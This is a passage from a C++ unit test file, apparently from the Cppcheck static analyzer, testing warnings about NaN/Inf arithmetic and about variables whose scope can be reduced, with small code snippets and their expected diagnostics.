errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n 